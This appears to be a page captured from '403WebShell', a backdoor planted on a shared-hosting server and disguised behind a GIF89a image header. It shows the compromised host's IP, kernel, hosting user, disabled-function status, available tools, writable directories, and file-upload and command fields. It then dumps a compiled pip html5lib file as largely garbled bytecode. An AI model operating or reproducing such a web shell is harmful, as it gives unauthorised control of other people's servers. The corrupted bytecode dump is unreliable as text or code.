GIF89a=( õ' 7IAXKgNgYvYx\%wh…hŽth%ˆs%—x¨}9®Œ©€&©‰%¶†(¹–.¹5·œD¹&Çš)ÇŸ5ǘ;Í£*È¡&Õ²)ׯ7×µ<Ñ»4ï°3ø‘HÖ§KͯT÷¨Yÿšqÿ»qÿÔFØ !ù ' !ÿ NETSCAPE2.0 , =( þÀ“pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§gª«ªE¯°¨¬ª±²Œ¹º¹E¾­”´ÂB¶¯ §Åȸ»ÑD¾¿Á•ÄÅ®° ÝH¾ÒLÀÆDÙ«D¶BÝïðÀ¾DÑÑÔTÌÍíH òGö¨A RÎڐ |¥ ٭&ºìE8œ¹kGÔAÞpx­a¶­ã R2XB®åE8I€Õ6Xî:vT)äžþÀq¦è³¥ì仕F~%xñ  4#ZÔ‰O|-4Bs‘X:= QÉ œš lºÒyXJŠGȦ|s hÏíK–3l7·B|¥$'7Jީܪ‰‡àá”Dæn=Pƒ ¤Òëí‰`䌨ljóá¯Éüv>á–Á¼5 ½.69ûϸd«­ºÀûnlv©‹ªîf{¬ÜãPbŸ  l5‘ޝpß ´ ˜3aÅùäI«O’ý·‘áÞ‡˜¾Æ‚ÙÏiÇÿ‹Àƒ #öó)pâš Þ½ ‘Ý{ó)vmÞü%D~ 6f s}ŃƒDØW Eþ`‡þ À…L8xá†ç˜{)x`X/> Ì}mø‚–RØ‘*|`D=‚Ø_ ^ð5 !_…'aä“OÚ—7âcð`D”Cx`ÝÂ¥ä‹éY¹—F¼¤¥Š?¡Õ™ n@`} lď’ÄÉ@4>ñd œ à‘vÒxNÃ×™@žd=ˆgsžG±æ ´²æud &p8Qñ)ˆ«lXD©øÜéAžHìySun jª×k*D¤LH] †¦§C™Jä–´Xb~ʪwStŽ6K,°£qÁœ:9ت:¨þªl¨@¡`‚ûÚ ».Û¬¯t‹ÆSÉ[:°=Š‹„‘Nåû”Ìî{¿ÂA ‡Rà›ÀÙ6úë°Ÿð0Ä_ ½;ÃϱîÉì^ÇÛÇ#Ëë¼ôº!±Ä˜íUîÅÇ;0L1óÁµö«p% AÀºU̬ݵ¼á%霼€‡¯Á~`ÏG¯»À× ­²± =4ªnpð3¾¤³¯­ü¾¦îuÙuµÙ®|%2ÊIÿür¦#0·ÔJ``8È@S@5ê¢ ö×Þ^`8EÜ]ý.뜃Âç 7 ú ȉÞj œ½Dç zý¸iþœÑÙûÄë!ˆÞÀl§Ïw‹*DçI€nEX¯¬¼ &A¬Go¼QföõFç°¯;é¦÷îŽêJ°îúôF5¡ÌQ|îúöXªæ»TÁÏyñêï]ê² o óÎC=öõ›ÒÓPB@ D×½œä(>èCÂxŽ`±«Ÿ–JЀ»Û á¤±p+eE0`ëŽ`A Ú/NE€Ø†À9‚@¤à H½7”à‡%B‰`Àl*ƒó‘–‡8 2ñ%¸ —€:Ù1Á‰E¸àux%nP1ð!‘ðC)¾P81lÑɸF#ˆ€{´âé°ÈB„0>±û °b¡Š´±O‚3È–Ù()yRpbµ¨E.Z‘D8ÊH@% òŒx+%Ù˜Æcü »¸˜fõ¬b·d`Fê™8èXH"ÉÈ-±|1Ô6iI, 2““¬$+](A*jÐ QTÂo‰.ÛU슬Œã„Ž`¯SN¡–¶Äåyše¯ª’­¬‚´b¦Éož œ)åyâ@Ì®3 ÎtT̉°&Ø+žLÀf"Ø-|žçÔ>‡Ðv¦Ðžì\‚ Q1)Ž@Žh#aP72”ˆ™¨$‚ !ù " , =( …7IAXG]KgNgYvYxR"k\%w]'}hŽth%ˆg+ˆs%—r.—m3šx3˜x¨}9®€&©€+¨‡7§‰%¶†(¹–.¹œD¹&ǘ;Í•&ײ)×»4ïÌ6ò§KÍ þ@‘pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g «¬ E ±± ¨­¶°ººE Á´”·®C¬²§Ç¶Œ»ÓDÃÕƷ¯Ê±H½ºM×ÁGÚ¬D¶BËÁ½î½DÓôTÏÛßîG»ôõC×CÌ l&âž:'òtU³6ɹ#·Ø)€'Ü.6±&ëÍÈ» K(8p0N?!æ2"ÛˆNIJX>R¼ÐO‚M '¡¨2¸*Ÿþ>#n↠å@‚<[:¡Iïf’ ¤TÚ˘CdbÜÙ“[«ŽEú5MBo¤×@€`@„€Êt W-3 ¶Ÿ¡BíêäjIÝ…Eò9[T…$íêﯧ„…•s»Óȳ¹€ÅÚdc®UUρ#±Ùïldj?´í¼²`\ŽÁðÞu|3'ÖŒ]ë6 ¶S#²‡˜FKLÈ *N E´‘áäŠ$˜›eÄYD„ºq«.è촁ƒs \-ÔjA 9²õ÷å- üúM[Âx(ís÷ì®x€|í¡Ù’p¦‚ ŽkÛTÇDpE@WÜ ²Ç]kŠ1¨ þ€·Yb ÓÁ‰l°*n0 ç™—žzBdОu¾7ĉBl€â‰-ºx~|UåU‰  h*Hœ|e"#"?vpÄiŠe6^ˆ„+qâŠm8 #VÇá ‘å–ÄV„œ|Аè•m"сœn|@›U¶ÆÎž—Špb¥G¨ED”€±Úê2FÌIç? >Éxå Œ± ¡¤„%‘žjŸ‘ꄯ<Ìaà9ijÐ2˜D¦È&›†Z`‚å]wþ¼Â:ç6àB¤7eFJ|õÒ§Õ,¨äàFÇ®cS·Ê¶+B°,‘Þ˜ºNûãØ>PADÌHD¹æž«ÄÀnÌ¥}­#Ë’ë QÀÉSÌÂÇ2ÌXÀ{æk²lQÁ2«ÊðÀ¯w|2Í h‹ÄÂG€,m¾¶ë3ÐÙ6-´ÅE¬L°ÆIij*K½ÀÇqï`DwVÍQXœÚÔpeœ±¬Ñ q˜§Tœ½µƒ°Œìu Â<¶aØ*At¯lmEØ ü ôÛN[P1ÔÛ¦­±$ÜÆ@`ùåDpy¶yXvCAyåB`ŽD¶ 0QwG#¯ æš[^Äþ $ÀÓÝǦ{„L™[±úKÄgÌ;ï£S~¹ìGX.ôgoT.»åˆ°ùŸûù¡?1zö¦Ÿž:ÅgÁ|ìL¹ „®£œŠ‚à0œ]PÁ^p F<"•ç?!,ñ‡N4—…PÄ Á„ö¨Û:Tè@hÀ‹%táÿ:ø-žI<`þ‹p I….)^ 40D#p@ƒj4–؀:²‰1Øâr˜¼F2oW¼#Z†;$Q q” ‘ ÂK¦ñNl#29 !’F@¥Bh·ᏀL!—XFóLH‘Kh¤.«hE&JòG¨¥<™WN!€ÑÙÚˆY„@†>Œž19J" 2,/ &.GXB%ÌRÈ9B6¹W]’î×ÔW¥’IÎ$ ñ‹ÓŒE8YÆ ¼³™ñA5“à®Q.aŸB€&Ø©³ JÁ—! ¦t)K%tœ-¦JF bòNMxLôþ)ÐR¸Ð™‘ èÝ6‘O!THÌ„HÛ ‰ !ù ) , =( …AXKgNgYvYxR"k\%wh…hŽh%ˆg+ˆs%—r.—x3˜x¨}9®€&©€+¨Œ,©‡7§‰%¶†(¹–.¹5·&Çš)ǘ;Í•&×£*Ȳ)ׯ7×»4ï°3øÌ6ò‘HÖ§KÍ»Hó¯T÷¨Yÿ»qÿÇhÿ þÀ”pH,È¤rÉl:ŸÐ¨tJ­Z¯Ø¬vËíz¿à°xL.›Ïè´zÍn»ßð¸|N¯Ûïø¼~Ïïûÿ€‚ƒ„…†‡ˆ‰Š‹ŒŽ‘’“”•–—˜™š›œžŸ ¡¢£¤¥¦§g ª« E$±²¨ª­ · °²½$E$ÂÕ««D· Í ¿¦Ç¶¸ÌŒ¾³CÃÅÆ E ééH½MÛÂGâªD­ çBêêϾD²ÒaÀà€Š1r­ðÓ¤ ÔožzU!L˜C'¾yW½UGtäÇïÙllê0×àÂuGþ)AÀs[þ·xì ÁxO%ƒûX2ó—  P£n›R/¡ÑšHše+êDm?# —‘Ç£6¡8íJ¡ŸâDiäªM¥Ö„ôj“¬¹£5oQ7°- <‡ *´lãÓŒ2r/a!l)dÈ A™ÈE¢ôÔ͆…ð ;Ö˜c ¡%ß‚’Ùˆâ¸b½—pe~C"BíëÚHïeF2§æŠ8qb t_`urŠeü wÅu3êæPv§h•"ß`íÍxçLĹÜÖ3á  ~Öº“®›¸ÏMDfJÙ °„ÛµáWõ%§œ‚à©–‚X ÓØ)@®Ñ›Eþ´wëuÅSxb8y\mÖzœ¥§ZbºE—ÂLªÌw!y(>¡™wú=Ç|ÅÝs¢d €CÁW)HÜcC$€L Ä7„r.á\{)@ð` @ äXÈ$PD” `šaG:§æˆOˆ72EÐamn]ù"ŒcÊxÑŒ° &dR8`g«iÙŸLR!¦P …d’ä¡“¦ðÎTƒ¦ià|À _ ¥ Qi#¦Šg›Æ ›noMµ ›V ã£)p ç£ÎW…š=Âeªk§†j„ ´®1ß²sÉxéW«jšl|0¯B0Û, \jÛ´›6±¬¶C ÛíWþï|ëÙ‹¸ñzĸV {ì;Ýñn¼òVˆm³I¼³.Ðã¤PN¥ ²µ¼„µCã+¹ÍByî£Ñ¾HŸ›ëê 7ìYÆFTk¨SaoaY$Dµœìï¿Ã29RÈkt Çïfñ ÇÒ:ÀÐSp¹3ÇI¨â¥DZÄ ü9Ïýögñ½­uÔ*3)O‘˜Ö[_hv ,àî×Et Ÿé¶BH€ Õ[ü±64M@ÔSÌM7dÐl5-ÄÙU܍´©zߌ3Ô€3ž„ „ ¶ÛPô½5×g› êÚ˜kN„Ý…0Îj4€Ìë°“#{þÕ3S2çKÜ'ợlø¼Ú2K{° {Û¶?žm𸧠ËI¼nEò='êüóºè^üæÃ_Û=°óž‚ì#Oý¿Í'¡½áo..ÏYìnüñCœO±Áa¿¢Kô½o,üÄËbö²çºíï{ËC Ú— "”Ï{ËK ÍÒw„õ±Oz dÕ¨à:$ ƒô—«v»] A#ð «€¿šéz)Rx׿ˆ¥‚d``èw-îyÏf×K!ð€þ­Ð|ìPľ„=Ì`ý(f” 'Pa ¥ÐBJa%Ðâf§„%Š¡}FàáÝ×6>ÉäŠG"éŽè=ø!oа^FP¼Ø©Q„ÀCÙÁ`(Ž\ÄÝ® ©Â$<n@dÄ E#ììUÒI! ‚#lù‹`k¦ÐÇ'Rró’ZýNBÈMF Í[¤+‹ðɈ-áwj¨¥þ8¾rá ,VÂh„"|½œ=×G_¦Ñ™EØ 0i*%̲˜Æda0mV‚k¾)›;„&6 p>ÓjK “¦Ç# âDÂ:ûc?:R Ó¬fÞéI-Ì“•Ã<ä=™Ï7˜3œ¨˜c2ŒW ,ˆ”8(T™P‰F¡Jhç"‚ ; 403WebShell
403Webshell
Server IP : 172.67.177.218  /  Your IP : 216.73.216.195
Web Server : LiteSpeed
System : Linux premium229.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
User : akhalid ( 749)
PHP Version : 8.3.22
Disable Function : NONE
MySQL : OFF  |  cURL : ON  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : OFF  |  Pkexec : OFF
Directory :  /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ Back ]     

Current File : /usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyc
�
��abc!@`sddlmZmZmZddlmZmZddlmZm	Z	ddl
Z
ddlZddlm
Z
ddlmZmZmZmZddlmZdd	lmZdd
lmZyddlmZWnek
r�eZnXegeD]Zejd�^q��ZegeD]Zejd�^q"�ZegeD]Zejd�^qJ�Zeed
dg�BZ dZ!ej"r�e!ddkr�e!j#d�dks�t$�ej%e!d e&d�d�Z'nej%e!�Z'e(dddddddddddddd d!d"d#d$d%d&d'd(d)d*d+d,d-d.d/d0d1d2g �Z)ej%d3�Z*iZ+d4e,fd5��YZ-d6�Z.d7e,fd8��YZ/d9e/fd:��YZ0d;e1fd<��YZ2d=e,fd>��YZ3d?e,fd@��YZ4dA�Z5dS(Bi(tabsolute_importtdivisiontunicode_literals(t	text_typetbinary_type(thttp_clientturllibN(twebencodingsi(tEOFtspaceCharacterstasciiLetterstasciiUppercase(tReparseException(t_utils(tStringIO(tBytesIOuasciit>t<u�[---Ÿ﷐-﷯￾￿🿾🿿𯿾𯿿𿿾𿿿񏿾񏿿񟿾񟿿񯿾񯿿񿿾񿿿򏿾򏿿򟿾򟿿򯿾򯿿򿿾򿿿󏿾󏿿󟿾󟿿󯿾󯿿󿿾󿿿􏿾􏿿]i����u]u"\uD800-\uDFFF"i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��i��	i��	i��
i��
i��i��i��i��i��
i��
i��i��i��i��i��i��u[	-
 -/:-@[-`{-~]tBufferedStreamcB`sMeZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	RS(u�Buffering for streams that do not have buffering of their own

    The buffer is implemented as a list of chunks on the assumption that
    joining many strings will be slow since it is O(n**2)
    cC`s%||_g|_ddg|_dS(Ni����i(tstreamtbuffertposition(tselfR((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt__init__@s		cC`sJd}x,|j|jd D]}|t|�7}qW||jd7}|S(Nii(RRtlen(Rtpostchunk((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyttellEs
cC`sx||j�kst�|}d}x>t|j|�|krd|t|j|�8}|d7}q'W||g|_dS(Nii(t_bufferedBytestAssertionErrorRRR(RRtoffsetti((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytseekLscC`sp|js|j|�S|jdt|j�kr_|jdt|jd�kr_|j|�S|j|�SdS(Niii����(Rt_readStreamRRt_readFromBuffer(Rtbytes((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytreadUs	
 
cC`s&tg|jD]}t|�^q
�S(N(tsumRR(Rtitem((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR^scC`sL|jj|�}|jj|�|jdcd7<t|�|jd<|S(Nii(RR$RtappendRR(RR#tdata((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR!as
cC`s"|}g}|jd}|jd}x�|t|j�kr�|dkr�|dks\t�|j|}|t|�|kr�|}|||g|_n/t|�|}|t|�g|_|d7}|j||||!�||8}d}q)W|r|j|j|��ndj|�S(Niit(RRRRR'R!tjoin(RR#tremainingBytestrvtbufferIndextbufferOffsettbufferedDatatbytesToRead((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR"hs&

$



(
t__name__t
__module__t__doc__RRR R$RR!R"(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR9s								cK`s�t|tj�s<t|tjj�rEt|jtj�rEt}n9t|d�rot|j	d�t
�}nt|t
�}|r�g|D]}|jd�r�|^q�}|r�td|��nt
||�St||�SdS(Nureadiu	_encodingu3Cannot set an encoding with a unicode input, set %r(t
isinstanceRtHTTPResponseRtresponsetaddbasetfptFalsethasattrR$Rtendswitht	TypeErrortHTMLUnicodeInputStreamtHTMLBinaryInputStream(tsourcetkwargst	isUnicodetxt	encodings((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytHTMLInputStream�s	(
R=cB`s}eZdZdZd�Zd�Zd�Zd�Zd�Zd�Z	d
d�Zd	�Zd
�Z
ed�Zd�ZRS(u�Provides a unicode stream of characters to the HTMLTokenizer.

    This class takes care of character encoding and removing or replacing
    incorrect byte-sequences and also provides column and line tracking.

    i(cC`s�tjsd|_n-td�dkr6|j|_n|j|_dg|_td�df|_	|j
|�|_|j�dS(u�Initialises the HTMLInputStream.

        HTMLInputStream(source, [encoding]) -> Normalized stream from source
        for use by html5lib.

        source can be either a file-object, local filename or a string.

        The optional encoding parameter must be a string that indicates
        the encoding.  If specified, that encoding will be used,
        regardless of any BOM or later declaration (such as in a meta
        element)

        u􏿿iiuutf-8ucertainN(
R
tsupports_lone_surrogatestNonetreportCharacterErrorsRtcharacterErrorsUCS4tcharacterErrorsUCS2tnewLinestlookupEncodingtcharEncodingt
openStreamt
dataStreamtreset(RR?((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�s	cC`sCd|_d|_d|_g|_d|_d|_d|_dS(Nui(Rt	chunkSizetchunkOffsetterrorstprevNumLinestprevNumColsRFt_bufferedCharacter(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRO�s						cC`s(t|d�r|}nt|�}|S(uvProduces a file object from source.

        source can be either a file object, local filename or a string.

        uread(R:R(RR?R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRM�s	cC`st|j}|jdd|�}|j|}|jdd|�}|dkr\|j|}n||d}||fS(Nu
ii����i(RtcountRStrfindRT(RRRtnLinestpositionLinetlastLinePostpositionColumn((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt	_position�s	
cC`s&|j|j�\}}|d|fS(u:Returns (line, col) of the current position in the stream.i(R\RQ(Rtlinetcol((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�scC`sL|j|jkr%|j�s%tSn|j}|j|}|d|_|S(uo Read one character from the stream or queue if available. Return
            EOF when EOF is reached.
        i(RQRPt	readChunkRR(RRQtchar((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR`�s	

cC`sO|dkr|j}n|j|j�\|_|_d|_d|_d|_|jj	|�}|j
r�|j
|}d|_
n
|s�tSt|�dkr�t
|d�}|dks�d|ko�dknr�|d|_
|d }q�n|jr|j|�n|jdd	�}|jd
d	�}||_t|�|_tS(Nuiii����i
i�i��u
u
u
(RFt_defaultChunkSizeR\RPRSRTRRQRNR$RUR9RtordRGtreplacetTrue(RRPR(tlastv((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR_�s0				
(
		cC`s:x3tttj|���D]}|jjd�qWdS(Nuinvalid-codepoint(trangeRtinvalid_unicode_retfindallRRR'(RR(t_((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRH%s"cC`st}x�tj|�D]�}|r(qnt|j��}|j�}tj|||d!�r�tj|||d!�}|t	kr�|j
jd�nt}q|dkr�|dkr�|t
|�dkr�|j
jd�qt}|j
jd�qWdS(Niuinvalid-codepointi�i��i(R9RgtfinditerRbtgrouptstartR
tisSurrogatePairtsurrogatePairToCodepointtnon_bmp_invalid_codepointsRRR'RdR(RR(tskiptmatcht	codepointRtchar_val((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRI)s 	c
C`s}yt||f}Wn�tk
r�x&|D]}t|�dks+t�q+Wdjg|D]}dt|�^qZ�}|s�d|}ntjd|�}t||f<nXg}x�tri|j|j	|j
�}|dkr�|j
|jkr?Pq?nB|j
�}||jkr?|j|j	|j
|!�||_
Pn|j|j	|j
�|j�s�Pq�q�Wdj|�}	|	S(u� Returns a string of characters from the stream up to but not
        including any character in 'characters' or EOF. 'characters' must be
        a container that supports the 'in' method and iteration over its
        characters.
        i�uu\x%02xu^%su[%s]+N(tcharsUntilRegExtKeyErrorRbRR*tretcompileRdRqRRQRFRPtendR'R_(
Rt
characterstoppositetcharstctregexR,tmRxtr((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt
charsUntil@s2

,
%		cC`so|dk	rk|jdkr=||j|_|jd7_qk|jd8_|j|j|kskt�ndS(Nii(RFRQRRPR(RR`((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytungetosN(R1R2R3RaRRORMR\RR`RFR_RHRIR9R�R�(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR=�s	 					&		/R>cB`sbeZdZd	d	d	d	ded�Zd�Zd�Zed�Zd�Z	d�Z
d�ZRS(
u�Provides a unicode stream of characters to the HTMLTokenizer.

    This class takes care of character encoding and removing or replacing
    incorrect byte-sequences and also provides column and line tracking.

    uwindows-1252cC`s�|j|�|_tj||j�d|_d|_||_||_||_||_	||_
|j|�|_|jddk	s�t�|j�dS(u�Initialises the HTMLInputStream.

        HTMLInputStream(source, [encoding]) -> Normalized stream from source
        for use by html5lib.

        source can be either a file-object, local filename or a string.

        The optional encoding parameter must be a string that indicates
        the encoding.  If specified, that encoding will be used,
        regardless of any BOM or later declaration (such as in a meta
        element)

        iidiN(RMt	rawStreamR=RtnumBytesMetatnumBytesChardettoverride_encodingttransport_encodingtsame_origin_parent_encodingtlikely_encodingtdefault_encodingtdetermineEncodingRLRFRRO(RR?R�R�R�R�R�t
useChardet((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�s							cC`s3|jdjj|jd�|_tj|�dS(Niureplace(RLt
codec_infotstreamreaderR�RNR=RO(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRO�s"cC`sUt|d�r|}nt|�}y|j|j��Wnt|�}nX|S(uvProduces a file object from source.

        source can be either a file object, local filename or a string.

        uread(R:RR RR(RR?R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRM�s	cC`s!|j�df}|ddk	r&|St|j�df}|ddk	rO|St|j�df}|ddk	rx|S|j�df}|ddk	r�|St|j�df}|ddk	r�|djjd�r�|St|j	�df}|ddk	r|S|r�yddl
m}Wntk
r4q�Xg}|�}x[|j
s�|jj|j�}t|t�szt�|s�Pn|j|�|j|�qGW|j�t|jd�}|jjd�|dk	r�|dfSnt|j�df}|ddk	r|Std�dfS(Nucertainiu	tentativeuutf-16(tUniversalDetectoruencodinguwindows-1252(t	detectBOMRFRKR�R�tdetectEncodingMetaR�tnamet
startswithR�tchardet.universaldetectorR�tImportErrortdoneR�R$R�R4R#RR'tfeedtclosetresultR R�(RtchardetRLR�tbufferstdetectorRtencoding((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��sR'
	


cC`s�|jddkst�t|�}|dkr5dS|jdkretd�}|dk	s�t�nr||jdkr�|jddf|_nF|jjd�|df|_|j�td|jd|f��dS(	Niucertainuutf-16beuutf-16leuutf-8iuEncoding changed from %s to %s(uutf-16beuutf-16le(	RLRRKRFR�R�R ROR(RtnewEncoding((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytchangeEncodings
cC`s�idtj6dtj6dtj6dtj6dtj6}|jjd�}t|t	�s_t
�|j|d �}d}|s�|j|�}d}|s�|j|d �}d}q�n|r�|jj|�t
|�S|jjd	�d
Sd
S(u�Attempts to detect at BOM at the start of the stream. If
        an encoding can be determined from the BOM return the name of the
        encoding otherwise return Noneuutf-8uutf-16leuutf-16beuutf-32leuutf-32beiiiiN(tcodecstBOM_UTF8tBOM_UTF16_LEtBOM_UTF16_BEtBOM_UTF32_LEtBOM_UTF32_BER�R$R4R#RtgetR RKRF(RtbomDicttstringR�R ((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�s&

cC`s�|jj|j�}t|t�s*t�t|�}|jjd�|j�}|dk	r||j
dkr|td�}n|S(u9Report the encoding declared by the meta element
        iuutf-16beuutf-16leuutf-8N(uutf-16beuutf-16le(R�R$R�R4R#RtEncodingParserR tgetEncodingRFR�RK(RRtparserR�((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�9sN(R1R2R3RFRdRRORMR�R�R�R�(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR>�s(		>		"t
EncodingBytescB`s�eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
ee
e	�Zd	�Z
ee
�Zed
�Zd�Zd�Zd
�ZRS(u�String-like object with an associated position and various extra methods
    If the position is ever greater than the string length then an exception is
    raisedcC`s+t|t�st�tj||j��S(N(R4R#Rt__new__tlower(Rtvalue((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�LscC`s
d|_dS(Ni����(R\(RR�((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRPscC`s|S(N((R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt__iter__TscC`sS|jd}|_|t|�kr/t�n|dkrDt�n|||d!S(Nii(R\Rt
StopIterationR<(Rtp((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt__next__Ws		cC`s
|j�S(N(R�(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytnext_scC`sY|j}|t|�kr$t�n|dkr9t�n|d|_}|||d!S(Nii(R\RR�R<(RR�((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytpreviouscs			cC`s+|jt|�krt�n||_dS(N(R\RR�(RR((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytsetPositionls	cC`s<|jt|�krt�n|jdkr4|jSdSdS(Ni(R\RR�RF(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytgetPositionqs
	cC`s||j|jd!S(Ni(R(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytgetCurrentByte{scC`sc|j}xJ|t|�krU|||d!}||krH||_|S|d7}qW||_dS(uSkip past a list of charactersiN(RRR\RF(RR{R�R|((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyRp�s			cC`sc|j}xJ|t|�krU|||d!}||krH||_|S|d7}qW||_dS(Ni(RRR\RF(RR{R�R|((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt	skipUntil�s			cC`sQ|j}|||t|�!}|j|�}|rM|jt|�7_n|S(u�Look for a sequence of bytes at the start of a string. If the bytes
        are found return True and advance the position to the byte after the
        match. Otherwise return False and leave the position alone(RRR�(RR#R�R(R,((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyt
matchBytes�s	cC`sh||jj|�}|dkr^|jdkr=d|_n|j|t|�d7_tSt�dS(u�Look for the next sequence of bytes matching a given sequence. If
        a match is found advance the position to the last byte of the matchi����iiN(RtfindR\RRdR�(RR#tnewPosition((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pytjumpTo�s(R1R2R3R�RR�R�R�R�R�R�tpropertyRR�tcurrentBytetspaceCharactersBytesRpR�R�R�(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�Hs 												R�cB`s_eZdZd�Zd�Zd�Zd�Zd�Zd�Zd�Z	d�Z
d	�ZRS(
u?Mini parser for detecting character encoding from meta elementscC`st|�|_d|_dS(u3string - the data to work on for encoding detectionN(R�R(RFR�(RR(((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�scC`s�d|jfd|jfd|jfd|jfd|jfd|jff}xv|jD]k}t}xR|D]J\}}|jj|�rky|�}PWq�tk
r�t	}Pq�XqkqkW|sXPqXqXW|j
S(Ns<!--s<metas</s<!s<?R(t
handleCommentt
handleMetathandlePossibleEndTagthandleOtherthandlePossibleStartTagR(RdR�R�R9R�(RtmethodDispatchRitkeepParsingtkeytmethod((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��s&	
cC`s|jjd�S(uSkip over commentss-->(R(R�(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��scC`sK|jjtkrtSt}d}x"trF|j�}|dkrGtS|ddkr�|ddk}|rC|dk	rC||_tSq%|ddkr�|d}t|�}|dk	rC||_tSq%|ddkr%t	t
|d��}|j�}|dk	rCt|�}|dk	r@|r4||_tS|}q@qCq%q%WdS(Nis
http-equiviscontent-typetcharsettcontent(R(R�R�RdR9RFtgetAttributeR�RKtContentAttrParserR�tparse(Rt	hasPragmatpendingEncodingtattrttentativeEncodingtcodect
contentParser((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��s:		
		cC`s
|jt�S(N(thandlePossibleTagR9(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��scC`st|j�|jt�S(N(R�R(R�Rd(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��s
cC`s�|j}|jtkr9|r5|j�|j�ntS|jt�}|dkra|j�n+|j�}x|dk	r�|j�}qpWtS(NR(
R(R�tasciiLettersBytesR�R�RdR�tspacesAngleBracketsR�RF(RtendTagR(R|R�((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR��s	


cC`s|jjd�S(NR(R(R�(R((sE/usr/lib/python2.7/site-packages/pip/_vendor/html5lib/_inputstream.pyR�scC`s�|j}|jttdg�B�}|dksIt|�dksIt�|d	krYdSg}g}x�tr
|dkr�|r�Pnz|tkr�|j�}Pn^|d
kr�dj|�dfS|t	kr�|j
|j��n|dkr�dS|j
|�t|�}qhW|dkr7|j
�dj|�dfSt|�|j�}|dkr�|}x�tr�t|�}||kr�t|�dj|�dj|�fS|t	kr�|j
|j��qb|j
|�qbWn^|dkr�dj|�dfS|t	kr|j
|j��n|dkr-dS|j
|�x}tr�t|�}|tkrwdj|�dj|�fS|t	kr�|j
|j��q=|dkr�dS|j
|�q=WdS(u_Return a name,value pair for the next attribute in the stream,
